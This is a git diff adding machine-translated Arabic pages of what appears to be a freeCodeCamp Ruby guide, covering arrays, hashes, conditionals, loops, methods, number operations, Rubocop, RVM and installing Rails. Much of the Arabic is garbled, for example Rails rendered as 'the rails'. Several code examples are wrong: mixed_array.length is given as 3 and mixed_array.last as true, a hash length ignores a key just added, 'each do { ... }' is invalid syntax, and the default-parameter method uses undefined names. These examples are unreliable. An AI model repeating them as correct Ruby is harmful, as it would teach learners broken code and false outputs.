+يطبع كل كائن إلى stdout $. سيتم تحويل الكائنات التي ليست سلاسل إلى استدعاء الأسلوب `to_s` الخاصة بهم. قيمة الإرجاع للطباعة هي `nil` . لذلك عند تشغيل `print "Hello World!` في IRB الخاص بك. الإخراج هو:
+
+ `    2.3.0 :001 > print "Hello World!" 
+    Hello World! 
+     => nil 
+` 
+
+## أطر (الجواهر)
+
+لدى روبي عدة أطر (جواهر) لتطبيقات السقالات السريعة. الأكثر شعبية حتى الآن هو [القضبان](http://rubyonrails.org/) التي صدرت في البداية في عام 2004. الأطر الأخرى (الجواهر) لروبي وتشمل [سيناترا](http://www.sinatrarb.com/) ، [لوتس](http://lotusrb.org/) ، [وفولت](http://voltframework.com/) . كل من هذه الخيارات له مزايا وعيوب على التنمية وتلبية الاحتياجات المتنوعة.
+
+## روبي الإطار لتطوير المحمول
+
+لكتابة التطبيقات الأصلية عبر الأنظمة الأساسية في Ruby ، ​​يتم استخدام RUBY MOTION لتطوير التطبيقات الأصلية عبر الأنظمة الأساسية لنظامي التشغيل iOS و Android و OS X باستخدام لغة برمجة Ruby. مزيد من الموارد هنا: http://www.rubymotion.com/
+
+## ماذا بعد تعلم روبي؟
+
+كل لغة برمجة تلعب دور imporatnt. يمكنك المساهمة في الكثير من المشاريع المفتوحة المصدر أو يمكنك التقدم بطلب للحصول على بعض الشركات الكبرى بعد أن يكون لديك فهم جيد على روبي. كما العديد من مواقع الإنترنت الكبيرة مثل Basecamp، Airbnb، Bleacher Report، Fab.com، Scribd، Groupon، Gumroad، Hulu، Kickstarter، Pitchfork، Sendgrid، Soundcloud، Square، Yammer، Crunchbase، Slideshare، Funny or Die، Zendesk، Github، بنيت Shopify على روبي لذلك ، هناك الكثير من الخيارات بالنسبة لك هناك. علاوة على ذلك ، هناك الكثير من الشركات الناشئة التي تستعين بأشخاص لديهم مهارات في RUby on Rails حيث لا يحاول الكثير من المبرمجين تعلم روبي. لذلك ، قد يكون لديك خفض واضح للعمل في شركة ناشئة. لذلك ، روبي هو المبتدئين ودية ومهارة صعبة للغاية للعثور على عدد جيد من الفتحات للعمل كمطور.
\ No newline at end of file
diff --git a/client/src/guide/arabic/ruby/managing-ruby-versions/index.md b/client/src/guide/arabic/ruby/managing-ruby-versions/index.md
new file mode 100644
index 0000000000..2f77be0eee
--- /dev/null
+++ b/client/src/guide/arabic/ruby/managing-ruby-versions/index.md
@@ -0,0 +1,60 @@
+---
+title: Managing Ruby versions
+localeTitle: إدارة إصدارات روبي
+---
+## تغير روبي بمرور الوقت
+
+كانت روبي في تطور مستمر منذ 1990s ، ومثل العديد من اللغات ، كانت هناك تغييرات في بناء الجملة عبر الإصدارات ، لذا من المهم أن تكون واضحًا حول إصدار روبي الذي تتوقعه شفرتك.
+
+ربما كان التغيير الأكثر وضوحا مع روبي 1.9. سابقا ، كتبنا يغسل مثل هذا:
+
+ `  { :one => 1, :two => 2, :three => 3 } 
+` 
+
+هذا الاستخدام لمشغل 'hashrocket' ( `=>` ) كان شائعا جدا ، أن Ruby 1.9 قدم اختصارًا:
+
+ `  { one: 1, two: 2, three: 3 } 
+` 
+
+تعمل هذه التعليمة البرمجية القديمة على أي إصدار ، ولكن سيتم تشغيل الجملة الأحدث فقط على روبي 1.9+.
+
+## كيف يسبب هذا المشاكل؟
+
+على سبيل المثال ، قد تكون قررت استخدام Gem الذي يعتمد داخليًا عليه ميزات روبي 1.9 هذا يعني أن مشروعك الآن يعتمد أيضًا على روبي 1.9 الميزات.
+
+إذا لم تحدد إصدار روبي الذي تحتاجه للمشروع ، فيمكن أن يكون الأمر كذلك مربكة عندما يعمل الكود على جهاز واحد ، ولكن ليس آخر.
+
+كما هو الحال مع معظم اللغات ، يعتبر من الممارسات الجيدة تحديد إصدار روبي التي يتوقعها رمزك. هذا يجعل الأمر أسهل بكثير لإدارة متعددة مشاريع على جهاز التنمية الخاص بك ، كل توقع إصدار مختلف من روبي.
+
+## كيف يمكنني تحديد إصدار روبي؟
+
+هناك نوعان من الأدوات التي تحظى بشعبية كبيرة ، لكن كلاهما وافق على ذلك مشاركة ملف مشترك. العديد من مشاريع Ruby (أو Rails) ستشمل بسيطة ملف `.ruby-version` ، الذي يحدد ببساطة رقم إصدار ، على _سبيل المثال_ :
+
+ `2.4.2 
+` 
+
+الأدوات الشائعة لمساعدتك في إدارة إصدار روبي هي:
+
+*   [روبي إصدار مدير (RVM)](https://rvm.io)
+*   [rbenv](https://github.com/rbenv/rbenv)
+
+دعونا ننظر في RVM.
+
+### باستخدام RVM
+
+عادةً ما يتم تثبيت RVM ( [رابط](https://rvm.io) ) على Linux أو Unix أو MacOS الجهاز ، ومريحة للغاية لأنه خطاف في `cd` ( `c` hange `d` irectory) الأمر عند الانتقال إلى مشروع جديد ، تتم قراءة `.ruby-version` الخاص بك تلقائيا ، وأنت تحول تلقائيا إلى الإصدار الصحيح من روبي قبل البدء في العمل.
+
+على سبيل المثال ، قد يكون لديك هذا التسلسل:
+
+ `% cd ~/projects/older-project 
+ % ruby --version 
+ 
+ ruby 2.3.5p376 (2017-09-14 revision 59905) [x86_64-darwin16] 
+ 
+ % cd ~/projects/newer-project 
+ % ruby --version 
+ 
+ ruby 2.4.2p198 (2017-09-14 revision 59899) [x86_64-darwin16] 
+` 
+
+(هذه الأمثلة من جهاز MacOS)
\ No newline at end of file
diff --git a/client/src/guide/arabic/ruby/rubocop/index.md b/client/src/guide/arabic/ruby/rubocop/index.md
new file mode 100644
index 0000000000..7b10094785
--- /dev/null
+++ b/client/src/guide/arabic/ruby/rubocop/index.md
@@ -0,0 +1,63 @@
+---
+title: Rubocop
+localeTitle: Rubocop
+---
+[Rubocop](https://github.com/bbatsov/rubocop) هو أداة analyis ثابتة ل [روبي](https://www.ruby-lang.org/en/) . ماذا يعني هذا؟ وهذا يعني Rubocop سوف "قراءة" التعليمات البرمجية الخاصة بك (على عكس تشغيله ، وبالتالي الجزء "ثابت" من الاسم) ، وتحليلها. قواعد التحليل يستخدم Rubocop من [دليل نمط المجتمع روبي](https://github.com/bbatsov/ruby-style-guide) .
+
+دليل الأسلوب هو مجموعة من الاقتراحات المحددة حول كيفية كتابة الكود أكثر قابلية للقراءة وأكثر تعبيرًا وأكثر تقليدية. كمجتمع ، ذلك سيكون رائعا لو استطعنا قراءة رمز أي شخص آخر بسهولة ، ويمكنهم ذلك قراءة لنا بسهولة. هذا ما يساعدنا روبوكوب على القيام به. هذا النوع من الادوات هو دائما قيمة ، لكنها مفيدة بشكل خاص عندما تتعلم روبي ، و قد تكون رمزًا _صحيحًا_ ولكنه لا يلتزم باتفاقيات روبي ، أو لا تستفيد من بعض ميزات روبي الأكثر قوة.
+
+والأكثر فائدة ، يمكن لـ Rubocop إصلاح العديد من التحذيرات الطفيفة تلقائيًا تباعد غير صحيح. هذا مفيد جدا قبل مراجعة الكود لأنه يعني الخاص بك يمكن للمطورين الزملاء التركيز على مخاوف مستوى أعلى ، وليس من الضروري أن تضيع الوقت على قضايا النحو.
+
+## باستخدام Rubocop
+
+### التركيب
+
+يتم تسليم Rubocop كما جوهرة ، لذلك في مشروع نموذجي يستخدم Bundler لك `Gemfile` إلى قسم التطوير في `Gemfile` الخاص بك:
+
+ `group :development do 
+  gem rubocop 
+ end 
+` 
+
+وهذا يعني أن أي شخص يستخدم مشروعك سيكون له نفس الإصدار من Rubocop ، و سيتفق الجميع على أفضل الممارسات الحالية.
+
+### استعمال
+
+قبل كل التزام ، أرغب في التحقق من أن الشفرة المعدلة حديثًا تتوافق معها معيار commmunity ، ببساطة عن طريق تشغيل:
+
+ `rubocop 
+` 
+
+سيؤدي ذلك إلى إخراج قائمة بالتحذيرات حول شفرتك.
+
+يمكن أن يكون من المفيد طلب Rubocop للحصول على مزيد من المساعدة:
+
+ `rubocop --extra-details --display-cop-names 
+` 
+
+(يمكنك إضافة هذه الملفات إلى ملف `.rubocop` لجعلها افتراضية.)
+
+سيسمح لك العديد من المحررين بدمج Rubocop ، والتي يمكن أن تعطي فورية ردود الفعل عند كتابة التعليمات البرمجية.
+
+### إصلاح المشكلات
+
+لنفترض أنني كتبت رمزًا جديدًا ؛ قبل أن ألتزم بها ، قد أقرر ذلك تأكد من أنها تلتزم بالمبادئ التوجيهية:
+
+ `rubocop <my new file> 
+` 
+
+يمكنني تحرير التغييرات المقترحة يدويًا ، أو يمكنني أن أطلب من Rubocop إصلاحها مشاكل طفيفة تلقائيا:
+
+ `rubocop --auto-correct 
+` 
+
+### تشغيل بعض رجال الشرطة فقط
+
+يتم تنفيذ كل المبادئ التوجيهية للمجتمع في "شرطي" Rubocop. عند العمل على قاعدة البيانات القديمة قد تغرق مع التحذيرات عند تقديم Rubocop. في هذه الحالة ، يمكن أن يكون من المفيد تشغيل شرطي واحد فقط عبر مصدر البرنامج ، وتحقق من هذه التغييرات قبل الانتقال إلى المبدأ التوجيهي التالي ، من أجل مثال:
+
+ `rubocop --auto-correct --only 'Layout/EmptyLineAfterMagicComment' 
+` 
+
+### تكامل محرر النصوص
+
+يمكن دمج Rubocop مع Vim و Visual Studio Code و Atom وغيرها من برامج تحرير النصوص. يمكن العثور على قائمة كاملة [هنا](https://rubocop.readthedocs.io/en/latest/integration_with_other_tools/) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/ruby/ruby-arrays/index.md b/client/src/guide/arabic/ruby/ruby-arrays/index.md
new file mode 100644
index 0000000000..b51d3a820a
--- /dev/null
+++ b/client/src/guide/arabic/ruby/ruby-arrays/index.md
@@ -0,0 +1,49 @@
+---
+title: Ruby Arrays
+localeTitle: روبي أرايس
+---
+## روبي أرايس
+
+يمثل الصفيف قائمة بالقيم. غالباً ما تسمى القيم الفردية "عناصر" الصفيف. لإنشاء صفيف في Ruby ، ​​استخدم الأقواس المربعة والقيم المنفصلة باستخدام الفواصل:
+
+ `my_array = [1, 2, 3, 4, 5] 
+` 
+
+المثال الأول هو مجموعة من الأرقام ، لكن مصفوفة Ruby يمكن أن تحتوي على قيم من أنواع مختلفة ، حتى المصفوفات الأخرى:
+
+ `mixed_array = [5, "Hello World", true, [1,2,3]] 
+` 
+
+يمكنك الوصول إلى عناصر صفيف يحتوي على أقواس مربعة وفهارس رقمية. لاحظ أن العنصر الأول في index 0 ، وليس 1:
+
+ `mixed_array[0] # 5 
+ mixed_array[1] # "Hello World" 
+ mixed_array[2] # true 
+` 
+
+يمكنك التحقق من عدد العناصر التي تحتوي عليها المصفوفة باستخدام طريقة `length` :
+
+ `mixed_array.length # 3 
+ [].length # 0 
+` 
+
+يمكنك التحقق من العنصر الأول في مصفوفة باستخدام الطريقة `first` :
+
+ `mixed_array.first # 5 
+` 
+
+يمكنك التحقق من آخر عنصر في مصفوفة باستخدام الطريقة `last` :
+
+ `mixed_array.last # true 
+` 
+
+#### روبي لامدا
+
+كما يشار إلى lambda على أنها وظيفة مجهولة. لإنشاء لامدا في Ruby ، ​​يمكنك استخدام البنية التالية:
+
+ `lambda = lambda {} 
+` 
+
+#### معلومات اكثر:
+
+[وثائق مجموعة روبي](https://ruby-doc.org/core-2.4.2/Array.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/ruby/ruby-comments/index.md b/client/src/guide/arabic/ruby/ruby-comments/index.md
new file mode 100644
index 0000000000..980a3b1b13
--- /dev/null
+++ b/client/src/guide/arabic/ruby/ruby-comments/index.md
@@ -0,0 +1,45 @@
+---
+title: Ruby Comments
+localeTitle: روبي التعليقات
+---
+# روبي التعليقات
+
+التعليقات عبارة عن أسطر للتعليق التوضيحي داخل التعليمة البرمجية التي يتم تجاهلها في وقت التشغيل (بمعنى أنها مرئية داخل شفرة المصدر ولكن لا يتم طباعتها عند تشغيل البرنامج).
+
+في روبي ، يبدأ تعليق سطر واحد بالحرف `#` ويمتد إلى نهاية السطر. يمكن أن يكون التعليق على السطر الخاص به أو بعد الكود.
+
+ `puts "Learning to code is fun!" 
+ 
+ # I am a single line comment. 
+ 
+ puts "Ruby is a great language!" # Me too - I am a trailing comment. 
+` 
+
+عند التنفيذ ، ينتج البرنامج أعلاه ما يلي:
+
+ `Learning to code is fun! 
+ Ruby is a great language! 
+` 
+
+يمكنك إجراء عدة تعليقات سطر من خلال وضع التعليقات بين `=begin` و `=end` . `=begin` start و `=end` يجب أن تبدأ في بداية السطر ويجب أن يكون `=end` على خط خاص به.
+
+ `=begin 
+ I am a multi-line comment 
+ and I can be as long as I please. 
+ See, still going! 
+ =end 
+ 
+ puts "Hello World!" 
+ 
+ =begin It's ok to start the comment on the same 
+ line as "=begin" (though it's more readable if 
+ you don't) but you can't put a space or any 
+ text before "=begin" or "=end" and you can't put 
+ anything on the same line after "=end". 
+ =end 
+` 
+
+عند التنفيذ ، ينتج البرنامج أعلاه ما يلي:
+
+ `Hello World! 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/ruby/ruby-conditionals/index.md b/client/src/guide/arabic/ruby/ruby-conditionals/index.md
new file mode 100644
index 0000000000..f1dad95398
--- /dev/null
+++ b/client/src/guide/arabic/ruby/ruby-conditionals/index.md
@@ -0,0 +1,50 @@
+---
+title: Ruby Conditionals
+localeTitle: روبي الشرطي
+---
+يحتوي روبي على العديد من الشروط الشرطية الشائعة الاستخدام.
+
+## إذا كانت البيانات
+
+شائعة للغاية في العديد من لغات البرمجة ، يختبر البيان إذا كان الشرط صحيحًا ، ثم أدخل الفروع في الإجراء المحدد. عبارة if تتكون من واحد `if` ، أي عدد من `elsif` وعلى الأكثر واحد بيان `else` .
+
+*    `fruit = :apple 
+     
+     if fruit == :apple 
+      puts "Your fruit is an apple" 
+     elsif fruit == :orange 
+      puts "Your fruit is an orange" 
+     else 
+      puts "This is not an apple or an orange" 
+     end 
+    ` 
+    
+
+### ما لم يكن البيان
+
+عبارة ما لم تكن عكس عبارة if. هو نفس عبارة negated if.
+
+*   `ruby happy = true if !happy puts "This person is not happy" end` البيان أعلاه يساوي البيان أدناه
+*   `ruby unless happy puts "This person is not happy" end`
+
+## البيان الثلاثي
+
+يستخدم البيان الثلاثي كبيان شرطي قصير. هو مكتوب على النحو التالي
+
+*   `ruby game = "won" fans = game == "won" ? "happy" : unhappy fans # => "happy"`
+
+## بيان الحالة
+
+يشبه بيان حالة عبارة if / elsif / else
+
+*    `fruit = :apple 
+     
+     case fruit 
+     when :apple 
+      puts "Your fruit is an apple" 
+     when :orange 
+      puts "Your fruit is an orange" 
+     else 
+      puts "This is not an apple or an orange" 
+     end 
+    `
\ No newline at end of file
diff --git a/client/src/guide/arabic/ruby/ruby-for-loop/index.md b/client/src/guide/arabic/ruby/ruby-for-loop/index.md
new file mode 100644
index 0000000000..906ba7539b
--- /dev/null
+++ b/client/src/guide/arabic/ruby/ruby-for-loop/index.md
@@ -0,0 +1,28 @@
+---
+title: Ruby For Loops
+localeTitle: روبي للحلقات
+---
+## روبي للحلقات
+
+يتم استخدام Ruby for loops لتكرار أو تكرار عبر عدد من العناصر وتنفيذ كتلة من التعليمات البرمجية لكل عنصر. لالحلقات وغالبا ما تستخدم على المصفوفات. انظر المقطع على [صفائف روبي](https://github.com/freeCodeCamp/guides/blob/master/src/pages/ruby/ruby-arrays/index.md) .
+
+للحلقات هي مجرد مثال واحد على التكرار أو التكرار على العناصر. في ما يلي مثال على حلقة for:
+
+ `for element in array do 
+  puts element 
+ end 
+` 
+
+هناك العديد من الطرق المختلفة التي يمكنك من خلالها تنفيذ حلقة أو حلقة في Ruby ، ​​مثال آخر مثل:
+
+ `element.each do |element| 
+  puts element 
+ end 
+` 
+
+هذا من شأنه أن يحقق نفس النتائج بالضبط كما سبق ذكره للحلقة ، ولكن مع ذلك أكثر إتقانا وأكثر كفاءة لأنه يستخدم أساليب Array المضمنة.
+
+للذهاب خطوة أخرى ، يمكننا كتابة الحلقة أعلاه بالطريقة التالية:
+
+ `element.each do { |element| puts element } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/ruby/ruby-hash/index.md b/client/src/guide/arabic/ruby/ruby-hash/index.md
new file mode 100644
index 0000000000..fd77569391
--- /dev/null
+++ b/client/src/guide/arabic/ruby/ruby-hash/index.md
@@ -0,0 +1,38 @@
+---
+title: Ruby Hash
+localeTitle: روبي هاش
+---
+## روبي هاش
+
+تمثل التجزئة مجموعة من أزواج القيم الرئيسية المميزة. ويسمى أيضا المصفوفات الترابطية. لإنشاء تجزئة في Ruby ، ​​استخدم الأقواس المتعرجة وفصل كل زوج من قيم المفاتيح باستخدام الفاصلة.
+
+ `my_hash = {:key1 => "value", :key2 => "value2"} 
+` 
+
+يمكنك إنشاء تجزئة بالطرق التالية
+
+ `my_hash = Hash.new  # with empty hash 
+ my_hash = {:key1 => "value", :key2 => "value2"} # with key's and value's defined 
+` 
+
+يمكنك الوصول إلى قيمة المفتاح في تجزئة مع الأقواس المربعة والمراجع الرئيسية
+
+ `my_hash[:key1]  # value 
+ my_hash[:key2]  # value2 
+` 
+
+يمكنك تعيين مفتاح جديد وقيمة لتجزئة محددة بالفعل
+
+ `my_hash[:key3] = "value3" # {:key1=>"value", :key2=>"value2", :key3=>"value3"} 
+` 
+
+يمكنك التحقق من عدد عناصر التجزئة في طريقة `length` :
+
+ `my_hash.length # 2 
+` 
+
+يمكنك أيضًا إنشاء أعداد صحيحة كمفتاح هاش ، لكن بناء الجملة يختلف عن الصيغة المعتادة
+
+ `my_hash = {1: "value"} # will raise an exception 
+ my_hash = {1 => "value"} # will create hash with corresponding key value pair 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/ruby/ruby-hashes/index.md b/client/src/guide/arabic/ruby/ruby-hashes/index.md
new file mode 100644
index 0000000000..7d0d9d3445
--- /dev/null
+++ b/client/src/guide/arabic/ruby/ruby-hashes/index.md
@@ -0,0 +1,48 @@
+---
+title: Ruby Hashes
+localeTitle: روبي هاشز
+---
+## روبي هاشز
+
+التجزئة هي مجموعة من المفاتيح والقيم. يشبه ما يسمى عادةً قاموسًا بلغات أخرى. في روبي ، تشبه التجزئة [صفيفًا](https://raw.githubusercontent.com/freeCodeCamp/guides/master/src/pages/ruby/ruby-arrays/index.md) ، ولكن بدلاً من تخزين قيمة تخزن زوجًا رئيسيًا ذا قيمة.
+
+ `array = ["value"] 
+ hash = { "key" => "value" } 
+` 
+
+هناك طريقتان مختلفتان لإنشاء تجزئة جديدة:
+
+ `hash1 = {a: 100, b: "200"} 
+ hash2 = Hash.new 
+ hash3 = Hash.new(0) # with default value set to 0 
+` 
+
+يمكن للمبرمج بعد ذلك الوصول إلى قيمة تجزئة باستخدام مفتاحه ، بدلاً من الفهرس.
+
+ `array[0] # => "value" 
+ hash["key"] # => "value" 
+` 
+
+وبهذه الطريقة ، يعمل تجزئة مثل القاموس حيث يمكنك البحث عن قيمة من خلال مفتاحه.
+
+ `dictionary = { "Aardvark" => "a large, nocturnal, burrowing mammal", 
+               "Zyzzyva" => "a genus of tropical weevils" } 
+ dictionary["Aardvark"] # => "a large, nocturnal, burrowing mammal" 
+ dictionary["Zyzzyva"] # => "a genus of tropical weevils" 
+` 
+
+يمكنك أيضًا إنشاء تجزئة باستخدام [الرموز](#) كمفاتيح.
+
+ `hash = { :symbol => "value" } 
+ hash[:symbol] # => "value" 
+` 
+
+بالإضافة إلى ذلك ، إذا كانت جميع المفاتيح الخاصة بك هي [رموز](#) ، فيمكنك كتابة التجزئة في هذا التنسيق البديل ، ولكن يمكنك الوصول إليها بنفس الطريقة:
+
+ `hash = { symbol: "value" } 
+ hash[:symbol] # => "value" 
+` 
+
+#### معلومات اكثر:
+
+[وثائق روبي هاش](https://ruby-doc.org/core-2.4.2/Hash.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/ruby/ruby-methods/index.md b/client/src/guide/arabic/ruby/ruby-methods/index.md
new file mode 100644
index 0000000000..b361b4f1d9
--- /dev/null
+++ b/client/src/guide/arabic/ruby/ruby-methods/index.md
@@ -0,0 +1,40 @@
+---
+title: Ruby Methods
+localeTitle: طرق روبي
+---
+## المقدمة
+
+هل سبق لك أن سمعت عن لغات البرمجة التي تشير إلى الوظائف؟ إذا تم تشفيرها في برامج مثل JavaScript ، فيجب أن تكون على دراية بها. لدى روبي أيضًا وظائف لكننا نشير إليها كطرق. إن الطرق هي مجرد مجموعة من الكودات التي يتم إعطاؤها اسمًا لسهولة الاستخدام وإمكانية الوصول وهي حاسمة في نهج DRY (عدم تكرار نفسك) في البرمجة.
+
+## إنشاء واستخدام الأساليب
+
+يجب دوماً تعريف الطرق كـ صغيرة (يمكنك فصل الكلمات بتسطير أسفل السطر إذا كنت تحب) وإلا قد يتم الخلط بينها كـ ثوابت. يجب أيضًا تحديد الطرق قبل محاولة الاتصال بها فعليًا ، وبذلك تكون القاعدة الأساسية هي إنشاء طرقك في بداية ملفك والاتصال بها لاحقًا عند الحاجة. حاول دائمًا تجنب أسماء طرق الكلمة الواحدة عند الضرورة ، فأنت تريد أن تكون قادرًا على معرفة أكثر أو أقل ما تفعله هذه الطريقة دون الحاجة إلى الحفر في الداخل.
+
+## بناء الجملة
+
+من السهل إنشاء طرق ، يمكن إنشاؤها دون القدرة على قبول المعلمات ، مع المعلمات وحتى مع معلمات محددة مسبقًا إذا لم يتم تقديم أي منها.
+
+#### طريقة بسيطة
+
+ `def my_method 
+  code goes here 
+ end 
+` 
+
+#### معلمة قبول الطريقة
+
+ `def my_method (param1, param2) 
+  param1 + param2 
+ end 
+` 
+
+#### طريقة paramter المعرفة مسبقًا (تُستخدم المعلمات المحددة مسبقًا عند عدم تقديم أي منها)
+
+ `def my_method (param1 = parameter1, param2 = parameter2) 
+  parm1 + parm2 
+ end 
+` 
+
+## العودة في أساليب
+
+ستكون القيمة المرتجعة لطريقة ما هي آخر تعبير تم تقييمه في الطريقة. ومع ذلك ، يمكنك استخدام الكلمة الأساسية للعودة لإرجاع أكثر من قيمة واحدة إذا لزم الأمر.
\ No newline at end of file
diff --git a/client/src/guide/arabic/ruby/ruby-numbers-methods/index.md b/client/src/guide/arabic/ruby/ruby-numbers-methods/index.md
new file mode 100644
index 0000000000..c8a553266f
--- /dev/null
+++ b/client/src/guide/arabic/ruby/ruby-numbers-methods/index.md
@@ -0,0 +1,90 @@
+---
+title: Ruby Number Methods
+localeTitle: طرق عدد روبي
+---
+يوفر روبي مجموعة متنوعة من الأساليب المضمنة التي يمكنك استخدامها على الأرقام. فيما يلي قائمة غير كاملة من الأساليب [الصحيحة](https://ruby-doc.org/core-2.2.0/Integer.html) [والطافية](https://ruby-doc.org/core-2.2.0/Float.html#method-i-ceil) .
+
+## [حتى](https://ruby-doc.org/core-2.2.0/Integer.html#method-i-even-3F) :
+
+استخدم `.even?` للتحقق مما إذا كان [**عدد صحيح**](https://ruby-doc.org/core-2.2.0/Integer.html) حتى. لعرض **منطقية** `true` أو `false` .
+
+ `    15.even? #=> false 
+    4.even?  #=> true 
+` 
+
+## [غريب](https://ruby-doc.org/core-2.2.0/Integer.html#method-i-odd-3F) :
+
+استخدم `.odd?` للتحقق مما إذا كان [**عدد صحيح**](https://ruby-doc.org/core-2.2.0/Integer.html) فرديًا أم لا. لعرض **منطقية** `true` أو `false` .
+
+ `    15.odd? #=> true 
+    4.odd?  #=> false 
+` 
+
+## [السيل](https://ruby-doc.org/core-2.2.0/Float.html#method-i-ceil) :
+
+و `.ceil` جولات طريقة [**يطفو**](https://ruby-doc.org/core-2.2.0/Float.html#method-i-ceil) **إلى** أقرب عدد. يرجع [**عدد صحيح**](https://ruby-doc.org/core-2.2.0/Integer.html) .
+
+ `    8.3.ceil #=> 9 
+    6.7.ceil #=> 7 
+` 
+
+## [الكلمة](https://ruby-doc.org/core-2.2.0/Float.html#method-i-floor) :
+
+`.floor` [**الطوافات**](https://ruby-doc.org/core-2.2.0/Float.html#method-i-ceil) `.floor` method **لأسفل** إلى أقرب رقم. يرجع [**عدد صحيح**](https://ruby-doc.org/core-2.2.0/Integer.html) .
+
+ `    8.3.floor #=> 8 
+    6.7.floor #=> 6 
+` 
+
+## [التالي](https://ruby-doc.org/core-2.2.0/Integer.html#method-i-next) :
+
+استخدم `.next` لإرجاع [**العدد الصحيح**](https://ruby-doc.org/core-2.2.0/Integer.html) التالي المتتالي.
+
+ `    15.next #=> 16 
+    2.next  #=> 3 
+    -4.next #=> -3 
+` 
+
+## [البادئة](https://ruby-doc.org/core-1.8.7/Integer.html#method-i-pred) :
+
+استخدم `.pred` لإرجاع [**العدد الصحيح**](https://ruby-doc.org/core-2.2.0/Integer.html) المتتابع السابق.
+
+ `    15.pred #=> 14 
+    2.pred  #=> 1 
+    (-4).pred #=> -5 
+` 
+
+## [إلى سلسلة](https://ruby-doc.org/core-2.4.2/Object.html#method-i-to_s) :
+
+باستخدام `.to_s` على عدد ( [**عدد صحيح**](https://ruby-doc.org/core-2.2.0/Integer.html) ، [**عوامات**](https://ruby-doc.org/core-2.2.0/Float.html#method-i-ceil) ، إلخ) بإرجاع [سلسلة](https://ruby-doc.org/core-2.2.0/String.html) من هذا الرقم.
+
+ `    15.to_s  #=> "15" 
+    3.4.to_s #=> "3.4" 
+` 
+
+## [أعظم مقام مشترك](https://ruby-doc.org/core-2.2.0/Integer.html#method-i-gcd) :
+
+توفر طريقة `.gcd` القاسم المشترك الأكبر (دائمًا موجبًا) من رقمين. يرجع [**عدد صحيح**](https://ruby-doc.org/core-2.2.0/Integer.html) .
+
+ `    15.gcd(5) #=> 5 
+    3.gcd(-7) #=> 1 
+` 
+
+## [الجولة](http://ruby-doc.org/core-2.2.0/Integer.html#method-i-round) :
+
+استخدم `.round` لإرجاع [**عدد صحيح**](https://ruby-doc.org/core-2.2.0/Integer.html) مدور أو [**عائم**](https://ruby-doc.org/core-2.2.0/Float.html) .
+
+ `    1.round        #=> 1 
+    1.round(2)     #=> 1.0 
+    15.round(-1)   #=> 20 
+` 
+
+## [الأوقات](http://ruby-doc.org/core-2.2.0/Integer.html#method-i-times) :
+
+استخدم `.times` لتكرار أوقات `int` .
+
+ `    5.times do |i| 
+      print i, " " 
+    end 
+    #=> 0 1 2 3 4 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/ruby/ruby-numbers-operations/index.md b/client/src/guide/arabic/ruby/ruby-numbers-operations/index.md
new file mode 100644
index 0000000000..f899665aad
--- /dev/null
+++ b/client/src/guide/arabic/ruby/ruby-numbers-operations/index.md
@@ -0,0 +1,29 @@
+---
+title: Ruby Numbers Operations
+localeTitle: عمليات أرقام الياقوت
+---
+في روبي يمكنك تنفيذ جميع العمليات الرياضية القياسية على الأرقام ، بما في ذلك: الجمع `+` ، الطرح `-` ، الضرب `*` ، القسمة `/` ، البحث عن البقايا `%` ، والعمل مع الأسس `**` .
+
+## إضافة:
+
+*   يمكن إضافة الأرقام معًا باستخدام عامل التشغيل `+` . `ruby 15 + 25 #=> 40`
+
+## الطرح:
+
+*   الأرقام يمكن أن تقلل من بعضها البعض باستخدام `-` المشغل. `ruby 25 - 15 #=> 10`
+
+## عمليه الضرب:
+
+*   يمكن ضرب الأرقام معًا باستخدام `*` المشغل. `ruby 10 * 5 #=> 50`
+
+## قطاع:
+
+*   يمكن تقسيم الأرقام بعضها البعض باستخدام `/` المشغل. `ruby 10 / 5 #=> 2`
+
+## بقايا:
+
+*   يمكن العثور على البقايا باستخدام عامل المعادل `%` . `ruby 10 % 3 #=> 1 # because the remainder of 10/3 is 1`
+
+## الأسس:
+
+*   يمكن حساب الأسس باستخدام عامل `**` . `ruby 2 ** 3 #=> 8 # because 2 to the third power, or 2 * 2 * 2 = 8`
\ No newline at end of file
diff --git a/client/src/guide/arabic/ruby/ruby-on-rails/index.md b/client/src/guide/arabic/ruby/ruby-on-rails/index.md
new file mode 100644
index 0000000000..b0be3c05d1
--- /dev/null
+++ b/client/src/guide/arabic/ruby/ruby-on-rails/index.md
@@ -0,0 +1,106 @@
+---
+title: Ruby on Rails
+localeTitle: روبي على القضبان
+---
+# روبي على القضبان
+
+[روبي على القضبان](http://rubyonrails.org/) هو إطار من جانب الخادم (جوهرة) بنيت على لغة روبي لجعل المواقع. يجعل القضبان تطوير الويب أسرع وأسهل وأكثر متعة. ويشمل كل ما تحتاجه لبناء تطبيقات رائعة ولديه مجتمع كبير. تم إنشاء Rails بواسطة David Heinemeir Hansson وهو حاليًا في الإصدار الخامس منه. تؤكد القضبان على استخدام نماذج وأنماط هندسة البرمجيات المعروفة الأخرى ، بما في ذلك [الاتفاقية على التكوين (CoC)](https://en.wikipedia.org/wiki/Convention_over_configuration) ، [ولا تكرر نفسك (DRY)](https://en.wikipedia.org/wiki/Don%27t_repeat_yourself) ، ونمط السجل النشط. القضبان هي إطار [للتحكم في نموذج الرؤية (MVC)](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller) ، وتوفر الهياكل الافتراضية لقاعدة البيانات ، وخدمة ويب ، وصفحات الويب. في الآونة الأخيرة ، قامت Rails بدمج وحدة واجهة برمجة التطبيقات (API) لجعل إنشاء خدمات الويب أسرع وأسهل.
+
+## تثبيت القضبان
+
+يتم تنزيل القضبان بنفس الطريقة مثل أي جوهرة روبي أخرى: باستخدام الأمر `gem install` . قبل تنزيله ، سنحتاج إلى [تنزيل Ruby](https://www.ruby-lang.org) . بعد ذلك ، نحن على بعد 3 كلمات فقط من بداية روبي أون ريلز:
+
+ `$ gem install rails 
+` 
+
+## إعداد قاعدة البيانات
+
+القضبان السفن مع sqlite3 كقاعدة البيانات الافتراضية ، وهو ملف بسيط على القرص. تحتاج إلى تثبيت MySQL أو PostgreSQL إذا كنت تريد استخدام شيء أكثر قوة.
+
+## إنشاء تطبيق القضبان
+
+1.  بعد تثبيت Ruby on Rails ، من السهل جدًا إنشاء تطبيق جديد تمامًا ، سنحتاج إلى 3 كلمات أخرى:
+
+ `$ rails new your_application_name 
+` 
